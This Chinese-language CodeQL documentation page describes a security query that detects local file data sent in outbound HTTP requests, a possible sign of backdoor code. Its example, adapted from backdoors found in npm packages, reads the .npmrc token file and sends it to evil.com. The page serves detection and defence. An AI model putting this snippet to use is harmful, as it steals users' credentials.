CodeQL 文档

出站网络请求中的文件数据

ID: js/file-access-to-http
Kind: path-problem
Security severity: 6.5
Severity: warning
Precision: medium
Tags:
   - security
   - external/cwe/cwe-200
Query suites:
   - javascript-security-extended.qls
   - javascript-security-and-quality.qls

点击查看 CodeQL 代码库中的查询

将本地文件系统数据发送到远程 URL 而不进行进一步验证,可能会导致不受控制的信息泄露,并且可能是恶意后门代码的迹象,该代码已被植入原本可信的代码库中。

建议

仔细检查突出显示的代码,确保其按预期工作。

示例

以下示例改编自两个流行的 npm 包中发现的后门代码。它读取`.npmrc` 文件的内容(可能包含秘密 npm 令牌),并将该内容嵌入 HTTP 请求头中发送到远程服务器。

var fs = require("fs"),
    https = require("https");

var content = fs.readFileSync(".npmrc", "utf8");
https.get({
  hostname: "evil.com",
  path: "/upload",
  method: "GET",
  headers: { Referer: content }
}, () => { });

参考

  • ©GitHub, Inc.
  • 条款
  • 隐私